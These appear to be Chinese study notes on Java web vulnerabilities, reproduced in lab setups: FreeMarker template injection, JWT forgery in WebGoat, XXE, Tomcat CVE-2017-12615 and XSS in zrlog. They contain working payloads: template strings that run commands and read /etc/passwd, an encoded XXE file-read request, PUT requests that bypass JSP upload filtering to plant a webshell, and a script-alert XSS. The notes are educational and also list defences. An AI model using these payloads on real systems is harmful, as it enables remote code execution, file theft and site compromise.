模板注入

FreeMarker模板注入

FreeMarker模板文件和HTML页面一样是静态页面,访问该页面的时候FreeMarker引擎进行解析并动态的替换模板中的内容进行渲染,之后将渲染得到的结果发送到访问者的浏览器中

FreeMarker模板语言(FTL)的组成:

  • 文本:原样输出
  • 插值:这部分的输出会被模板引擎计算得到的值进行替换
  • FTL标签:与HTML标签类似,他们是给FreeMarker指示,而且不会打印在输出内容中
  • 注释:

利用方式:

  • 内建函数的利用:

    用法:variable_name?method_name

new内建函数的利用:

查看freemarker.template.utility.Execute的源代码:

public class Execute implements TemplateMethodModel {
    private static final int OUTPUT_BUFFER_SIZE = 1024;

    public Execute() {
    }

    public Object exec(List arguments) throws TemplateModelException {
        StringBuilder aOutputBuffer = new StringBuilder();
        if (arguments.size() < 1) {
            throw new TemplateModelException("Need an argument to execute");
        } else {
            String aExecute = (String)((String)arguments.get(0));

            try {
                Process exec = Runtime.getRuntime().exec(aExecute);
                InputStream execOut = exec.getInputStream();
                Throwable var6 = null;

                try {
                    Reader execReader = new InputStreamReader(execOut);
                    char[] buffer = new char[1024];

                    for(int bytes_read = execReader.read(buffer); bytes_read > 0; bytes_read = execReader.read(buffer)) {
                        aOutputBuffer.append(buffer, 0, bytes_read);
                    }
                } catch (Throwable var18) {
                    var6 = var18;
                    throw var18;
                } finally {
                    if (execOut != null) {
                        if (var6 != null) {
                            try {
                                execOut.close();
                            } catch (Throwable var17) {
                                var6.addSuppressed(var17);
                            }
                        } else {
                            execOut.close();
                        }
                    }

                }
            } catch (IOException var20) {
                throw new TemplateModelException(var20.getMessage());
            }

            return aOutputBuffer.toString();
        }
    }
}

其中有一个exec方法其中使用了Process exec = Runtime.getRuntime().exec(aExecute);就可以进行命令执行

assign指令:主要是用于为该模板页面创建或者替换一个顶层变量

我们new一个freemarker.template.utility.Execute类使用其exec方法

payload:

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

同样阅读源码可以发现也有其他可以执行恶意代码的类

  1. ObjectConstructor

    image-20220117204448845

    第一个参数是加载的类名,第二个参数为执行的命令

    payload:

    <#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}
  2. JythonRuntime

    image-20220117212929376

    payload:

    <#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value>
  3. Execute

    见上面所述

这种方式所利用的类都是实现了TemplateModel接口

防御方法:

  • 使用Configuration.setNewBuiltinClassResolver(TemplateClassResolver)或者设置new_builtin_class_resovlver来限制对这个类的访问
  • 使用解析器:
    • UNRESTRICTED_RESOLVER:简单地调用ClassUtil.forName(String)
    • SAFER_RESOLVER:和第一个类似,但禁止解析ObjectConstructorExecutefreemarker.template.utility.JythonRuntime
    • ALLOWS_NOTHING_RESOLVER:禁止解析任何类。
api内建函数的利用

使用条件: 配置项api_buidtin_enabledtrue的时候才有效,在2.3.22版本之后默认为false

使用方法为:value?api.someJavaMethod(),相当于value.someJavaMethod()

可以利用getClassLoader来获取一个类加载器,进而加载恶意类,同样可以使用getResource来读取服务器上的资源文件(通过Class.getResource的返回值来访问URI对象。URI对象包含toURLcreate方法,我们通过这两个方法创建任意URI,然后用toURL访问任意URL。)

payload:

//加载恶意类
<#assign classLoader=object?api.class.getClassLoader()>${classLoader.loadClass("our.desired.class")}

//使用getResource类
<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURI().openConnection()>
<#assign is=input?apt.getInputStream()>
FILE:[<#list 0..99999999 as _>
     <#assign byte=is.read()>
     <#if byte == -1>
     	<#break>
     </#if>
  ${byte}, </#list>]
  • OFCMS 1.1.2版本注入漏洞

JWT

WebGoat的搭建

webgoat/goatandwolf - Docker Image | Docker Hub

WebGoat/WebGoat: WebGoat is a deliberately insecure application (github.com)

JWT题解

image-20220121205944669

题目要求修改token获得管理员权限,并且重置投票

点击Reset votes选型,并抓包分析

image-20220121212408813

在白盒审计中查看对应的关键词路径votings

image-20220121212500257

@PostMapping('JWT/votings')中有一个返回值为AttackResultresetVotes()方法

image-20220121212700880

这个类是JWTVotesEndpointorg.owasp.webgoat.jwt包下

Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken)是为了将传来的accessToken通过JWT_PASSWORD(签名密钥)进行解析操作

Claims claims = (Claims) jwt.getBody()得到其body部分信息

boolean isAdmin = Boolean.valueOf((String) claims.get("admin"))取出其admin部分的值,如果为true则成功重置投票的进行

image-20220121214235149

JWTPASSWORD是使用final修饰的静态常量,值为victory的base64编码,至于access_token从哪里来的呢,我们可以通过注解@CookieValue猜测是从Cookie传来的

image-20220121220404216

可以发现Cookie是在login方法中被创建的

image-20220121220639128

当用户为Guest的时候,他的access_token为空,而且发送请求之后其返回的lessonCompletedfalse,其feedback返回为Not a valid JWT token, please try again

切换用户为Tome

image-20220121220937657

access_token不为空,但是其lessonCompleted仍然为false,其feedback返回为Only an admin user can reset the votes

我们同样可以很容易的发现access_token符合JWT的格式,拿进在线网站进行分析

image-20220121221415779

可以发现基本信息都被解析出来了,我们将admin修改为true,并且其secret填入victory

将得到的JWT放入access_token字段,进行重发

image-20220121222014649

成功伪造admin身份

XML外部实体注入

DTD部分是XXE攻击的关键:它是用于定义普通文本或者特殊字符的快捷方式的变量

实体分为内部声明实体引用外部实体, 内部声明实体的格式:<!ENTITY 实体名称 "实体的值",引用外部实体的格式:<!ENTITY 实体名称 SYSTEM "URL/URI">或者是<!ENTITY 实体名称 PUBLIC "public_ID" "URI",在外部实体中,不同编程语言支持不同的协议,Java默认提供对http, https, ftp, file, jar, netdoc, mailto, gopher等协议的支持

在本地搭建百度OpenRASP的实例

image-20220228201701750

//007-xxe.jsp
<%@ page contentType="text/html; charset=UTF-8" %>
<%@ page import="org.w3c.dom.*, javax.xml.parsers.*" %>
<%@ page import="org.xml.sax.InputSource" %>
<%@ page import="java.io.StringReader" %>
<%
    String linux_querystring = "?data=%3C%3F%78%6D%6C%20%76%65%72%73%69%6F%6E%3D%22%31%2E%30%22%20%65%6E%63%6F%64%69%6E%67%3D%22%49%53%4F%2D%38%38%35%39%2D%31%22%3F%3E%3C%21%44%4F%43%54%59%50%45%20%66%6F%6F%20%5B%20%20%20%3C%21%45%4C%45%4D%45%4E%54%20%66%6F%6F%20%41%4E%59%20%3E%20%20%3C%21%45%4E%54%49%54%59%20%78%78%65%20%53%59%53%54%45%4D%20%22%66%69%6C%65%3A%2F%2F%2F%65%74%63%2F%70%61%73%73%77%64%22%20%3E%5D%3E%3C%66%6F%6F%3E%26%78%78%65%3B%3C%2F%66%6F%6F%3E";
    String windows_querystring = "?data=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22ISO-8859-1%22%3F%3E%3C%21DOCTYPE%20foo%20%5B%20%20%20%3C%21ELEMENT%20foo%20ANY%20%3E%20%20%3C%21ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22%20%3E%5D%3E%3Cfoo%3E%26xxe%3B%3C%2Ffoo%3E";
    String data = request.getParameter("data");
    String tmp  = "";

    if (data != null) {
	    try {
           DocumentBuilderFactory docFactory = DocumentBuilderFactory.newInstance();
           DocumentBuilder docBuilder = docFactory.newDocumentBuilder();
           Document doc = docBuilder.parse(new InputSource(new StringReader(request.getParameter("data"))));

           NodeList RegistrationNo = doc.getElementsByTagName("foo");
           tmp = RegistrationNo.item(0).getFirstChild().getNodeValue();
  		} catch (Exception e) {
          out.print("<pre>");
          e.printStackTrace(response.getWriter());
          out.print("</pre>");
  		}
    }
%>
<html>
<head>
	<meta charset="UTF-8"/>
	<title>007 XXE 漏洞测试</title>

</head>

<body>
  <h1>007 - 通过XXE读取系统文件</h1>

	<p>不正常调用 - Linux (读取 /etc/passwd)</p>
  <p>curl '<a href="<%=request.getRequestURL()+linux_querystring%>" target="_blank"><%=request.getRequestURL()+linux_querystring%></a>'</p>

    <p>不正常调用 - Windows (读取 c:/windows/win.ini)</p>
  <p>curl '<a href="<%=request.getRequestURL()+windows_querystring%>" target="_blank"><%=request.getRequestURL()+windows_querystring%></a>'</p>

    <p>节点内容: <%= tmp %></p>
    <p>(有漏洞会看到文件内容)</p>
</body>
</body>
</html>

对其中的字符串windows_querystring进行url解码可以得到

from urllib.parse import unquote

tmp = "?data=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22ISO-8859-1%22%3F%3E%3C%21DOCTYPE%20foo%20%5B%20%20%20%3C%21ELEMENT%20foo%20ANY%20%3E%20%20%3C%21ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22%20%3E%5D%3E%3Cfoo%3E%26xxe%3B%3C%2Ffoo%3E"
print(unquote(tmp))
# ?data=<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [   <!ELEMENT foo ANY >  <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]><foo>&xxe;</foo>

漏洞成因就是因为使用了javax.xml.parsers.DocumentBuilder,但是并没有禁用外部实体

防御方式:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
DocumentBuilder db = dbf.newDocumentBuilder(); 
Document document = db.parse(in);
Dos攻击
<!--payload-->

image-20220228212134770

安全配置错误

Tomcat任意文件写入(CVE-2017-12615)
影响范围

任意文件写入,主要影响的是Tomcat的7.0.0-7.0.81这几个版本

环境搭建

使用vulhub搭建CVE-2017-12615

修改docker-compose.yml中的端口,添加5005端口

version: '2'
services:
 tomcat:
   build: .
   ports:
    - "8080:8080"
    - "5005:5005"

启动环境并进入,修改tomcat/bin下的catalinna.sh文件

# 添加
JAVA_OPTS="$JAVA_OPTS -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005" 

image-20220302133806803

然后重启tomcat ./startup.sh

复现

访问ip:8080

image-20220302140719178

使用burp抓包,发现是一个GET请求

将其改为PUT方法写入一个txt文件

PUT /1.txt HTTP/1.1
..
..
ROBOTERH

image-20220302142703484

返回状态码为201, 说明上传成功了

写入一个jsp文件

PUT /2.jsp HTTP/1.1
..
..
<%out.print("ROBOTERH");%>

image-20220302143017222

返回的状态码为404,说明被过滤了,通过PUT方式上传文件,不能上传jsp后缀的文件

绕过方法:

1.Windows下不允许文件以空格结尾以PUT /a001.jsp%20 HTTP/1.1上传到 Windows会被自动去掉末尾空格  
2.Windows NTFSPUT /a001.jsp::$DATA HTTP/1.1  
3. /在文件名中是非法的,也会被去除(Linux/Windows)PUT /a001.jsp/ HTTP/1.1  

测试:

image-20220302143456792

image-20220302143642624

image-20220302143707893

在docker中的上传文件成功:

image-20220302143845118

同样可以拿到webshell:

image-20220302144539707

原理

由于配置不当,将配置文件conf/web.xml中的readonly设置为了false,导致可以使用PUT方法上传文件,并且执行代码,但限制了jsp后缀的上传

即当设置readonlyfalse的时候,我们可以通过PUT/DELETE进行文件操控


Tomcat在处理请求的时候有两个默认的Servlet, (DefaultServlet和JspServlet)

DefaultServlet:

image-20220302145323165

JspServlet:

image-20220302145347813

Mapping:

image-20220302145854309

可以从Mapping中看出,JspServlet只处理后缀为.jsp, .jspx的请求,其他请求使用DafaultServlet处理

所以不能上传jsp文件,就是因为这个原因

实现一个Servlet需要继承HttpServlet, 查看HttpServlet中的doPut方法

protected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    if (this.readOnly) {
        this.sendNotAllowed(req, resp);
    } else {
        String path = this.getRelativePath(req);
        WebResource resource = this.resources.getResource(path);
        DefaultServlet.Range range = this.parseContentRange(req, resp);
        if (range != null) {
            Object resourceInputStream = null;

            try {
                if (range == IGNORE) {
                    resourceInputStream = req.getInputStream();
                } else {
                    File contentFile = this.executePartialPut(req, range, path);
                    resourceInputStream = new FileInputStream(contentFile);
                }

                if (this.resources.write(path, (InputStream)resourceInputStream, true)) {
                    if (resource.exists()) {
                        resp.setStatus(204);
                    } else {
                        resp.setStatus(201);
                    }
                } else {
                    resp.sendError(409);
                }
            } finally {
                if (resourceInputStream != null) {
                    try {
                        ((InputStream)resourceInputStream).close();
                    } catch (IOException var13) {
                    }
                }

            }

        }
    }
}

其中上传文件成功的时候返回的状态码是201,可以定位于if语句

image-20220302160918254

其上面的path就是PUT请求后面接的URI

进入source.write方法:

image-20220302161216763

进入main.write方法:

image-20220302162730473

进入file方法:

image-20220302162956892

file对象在实例化的过程中会处理掉最后的/和多余的/, 之后就可以达到上传的目的

XSS

审计策略
  1. 收集输入点, 输出点
  2. 查看输入, 输出点的上下文环境
  3. 判断是否对输入, 输出做出过滤和防御
反射型XSS

实例:

image-20220302165457421

这个JSP代码会将GET传参的变量input输出到前端中

而且并没有过input参数进行任何过滤操作

正常:

image-20220302165733212

不正常: ?input=<script>alert(1)</script>

image-20220302165835386

存储型XSS

挖掘方式:

  1. 黑白盒结合
  2. 通过功能点判断
输入点

zrlog-1.9.1下载

漏洞点在网站设置-基本信息-网站标题位置,我们输入XSS-payload,点击提交:

image-20220303202842846

如果访问该网站,就会触发

image-20220303202936780

通过抓包

image-20220303203405588

明白是在/api/admin/website/update将危险payload写入了数据库中,所以每次访问网站的时候都会被XSS攻击一次

审计代码

WEB-INF/web.xml

image-20220303203933794

其访问控制是使用com.zrlog.web.config.ZrLogConfig进行访问控制

可以查看到路由信息

image-20220303204239668

跟进AdminRoutes

image-20220303204352987

发现对应路由的源码位于WebSiteController类中

image-20220303204803948

我们可以明白,update方法,将HTTP传送来的数据保存在requestMap对象中,然后通过WebSiteupdateByKV方法与数据库进行交互更新,跟进WebSite

image-20220303210206260

很明显,并没有做出任何的过滤操作就进行update操作了

我们再次查看网站标题输出的代码(jsp)

image-20220303210851864

同样没有做出任何的过滤

DOM型XSS

image-20220303215513035

通过访问

image-20220303215534017

DOM常见的输入,输出点:

image-20220303215611289